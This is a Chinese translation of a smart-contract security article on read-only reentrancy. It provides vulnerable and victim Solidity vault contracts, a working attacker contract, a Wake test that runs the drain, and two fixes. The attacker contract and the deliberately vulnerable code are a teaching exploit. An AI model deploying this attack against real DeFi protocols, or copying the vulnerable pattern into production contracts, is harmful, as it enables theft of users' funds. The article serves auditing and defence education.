只读重入攻击

  • Ackee
  • 发布于 2025-02-28 14:56
  • 阅读 23

本文介绍了只读重入漏洞的原理、攻击方式和防御方法。该漏洞利用 view 函数在状态改变过程中的返回值,通过重入操纵智能合约并提取价值。文章通过示例合约展示了漏洞的利用方式,并提供了使用 ReentrancyGuard 和 CEI(checks-effects-interactions)模式的防御措施。

只读重入攻击使用 view 函数和重入特性来操纵智能合约并提取价值。view 函数在状态更改的中间返回该值,这允许攻击者操纵 token 价格。 让我们更仔细地看看这个漏洞以及如何预防它。

其他的重入攻击包括:

这些重入示例博客描述了一般函数的攻击。 但是在只读重入攻击中,漏洞存在于 view 函数中。

在这种攻击中,受害者合约依赖于易受攻击合约的 view 函数,并且它通过该 view 函数来决定价格。

这是一个易受攻击的合约的例子:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant {
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether");
        totalTokens -= burnAmount;
    }
}

我们已经为所有 public、non-view 函数准备了 nonReentrant 修饰符。 这可以防止此合约中的重入攻击。 此外,我们通过在与 burnAmount 相关的外部调用之后、写入之前检查该值来防止重入。 这确保了在这个合约中不可能发生重入。

但是,如果在提款的外部调用中调用 getCurrentPrice 函数,则 getCurrentPrice 函数会返回不同的值。 因为此时 totalTokens 值与实际值不同,所以这是一个问题。 此外,如果在 withdraw 的外部调用期间调用 getCurrentPrice 函数,它可能会返回不同的值。 这种差异的出现是因为此时的 totalTokens 值不准确,这可能会导致潜在的问题。

如果一个池以类似的方式工作,使用 getCurrentPrice 函数,那么该函数可能会返回比实际价格更高的值。 这是有问题的。

这是受害者合约。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./VulnVault.sol";

contract VictimVault is ReentrancyGuard {
    VulnVault vulnVault;

    mapping (address => uint256) public balances;

    constructor(address vulnVaultAddress) {
        vulnVault = VulnVault(vulnVaultAddress);
    }

    function deposit() public payable nonReentrant {
        uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() / 10e18;
        balances[msg.sender] += tokenAmount;
    }

    function withdraw(uint256 tokenAmount) public nonReentrant {
        balances[msg.sender] -= tokenAmount;
        uint256 ethAmount = tokenAmount * 10e18 / vulnVault.getCurrentPrice();
        (bool success, ) = msg.sender.call{value: ethAmount}("");
        require(success, "Failed to send Ether");
    }
}

ethAmount 取决于 withdraw 函数中的 vulnVault.getCurrentPrice

并且 tokenAmountdeposit 函数也取决于 vulnVault.getCurrentPrice

因此,如果 vulnVault.getCurrentPrice 与实际值不同,攻击者可以获利。

只读重入攻击的例子

如果我们这样做:

  1. 调用 VulnVault.withdraw
  2. 在外部调用中,调用 VictimVault.deposit 函数

vulnVault.getCurrentPrice 返回一个不正确的值,而且比实际值更大,因为 totalTokens 仍然没有更新。 因为 getCurrentPrice 内部的计算是由 totalTokens * 10e18 / totalStake 计算的,所以分子有一个更大的值。

因此,通过在外部调用中调用 VictimVault.deposit 函数,攻击者可以获利。

攻击者合约

这是攻击合约:

// SPDX-License-Identifier:  None
pragma solidity 0.8.20;

import "./VictimVault.sol";
import "./VulnVault.sol";

contract Attacker {

    VulnVault public vulnVault;

    VictimVault public victimVault;

    uint256 public counter;

    constructor(address vulnerable_pool, address victim_pool) payable {
        vulnVault = VulnVault(vulnerable_pool);
        victimVault = VictimVault(victim_pool);
        counter = 0;
    }

    function attack() public {
        vulnVault.deposit{value: 1e18}();
        vulnVault.withdraw(1e18);
        uint256 balance = victimVault.balances(address(this));
        victimVault.withdraw(balance);
    }

    receive() external payable {
        if(counter == 0){
            counter++;
            victimVault.deposit{value: 1e18}();
        }
    }
}

利用只读重入攻击

from wake.testing import *

from pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault
from pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault
from pytypes.contracts.readonlyreentrancy.Attacker import Attacker

@default_chain.connect()
def test_default():
    print("---------------------Read Only Reentrancy---------------------")
    vuln_pool = VulnVault.deploy()
    victim_pool = VictimVault.deploy(vuln_pool.address)
    vuln_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user
    victim_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user

    attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value="1 ether", from_=default_chain.accounts[0])

    print("Vault balance:    ", victim_pool.balance)
    print("Attacker balance: ", attacker.balance)

    print("---------------------attack---------------------")
    tx = attacker.attack()
    print(tx.call_trace)

    print("Vault balance:    ", victim_pool.balance)
    print("Attacker balance: ", attacker.balance)

这是 Wake(我们的以太坊测试框架)的输出。 我们可以看到 Vault 余额从 10 ETH 变为 9.9 ETH。 攻击者的余额从 1 ETH 变为 1.1 ETH。

如何预防只读重入攻击?

使用 ReentrancyGuard

单独使用一个简单的重入保护无法阻止这种攻击。 但是,通过重入保护设置额外的检查可以有效地防止这种类型的攻击。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(_reentrancyGuardEntered()){
            revert ReadonlyReentrancy();
        }
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant {
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether");
        totalTokens -= burnAmount;
    }
}

CEI (checks-effects-interactions)

这种预防措施解决了漏洞的根本原因,因为它在外部调用之前进行了必要的状态更改。 因此,包括 view 函数在内,即使以递归方式调用它,它也会返回一个受信任的值。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant {
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        totalTokens -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether");
    }
}

结论

这是一个只读重入攻击的例子。 在这个合约中,漏洞是微不足道的。 然而,在真实的项目中,这些漏洞通常更加微妙和复杂,隐藏在复杂的合约交互和状态管理中。 了解这种攻击媒介,可以让你在更复杂的 DeFi 协议中识别类似的模式,在这些协议中,价格预言机操纵或过时的状态读取可能会导致重大的财务损失。

我们有一个重入示例 Github 仓库,其中包含其他几种类型的重入攻击,包括攻击示例、特定于协议的重入和预防方法。 阅读下面的内容,了解如何保护你的协议

  • 原文链接: ackee.xyz/blog/read-only...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Ackee
Ackee
Cybersecurity experts | We audit Ethereum and Solana | Creators of @WakeFramework , Solidity (Wake) & @TridentSolana | Educational partner of Solana Foundation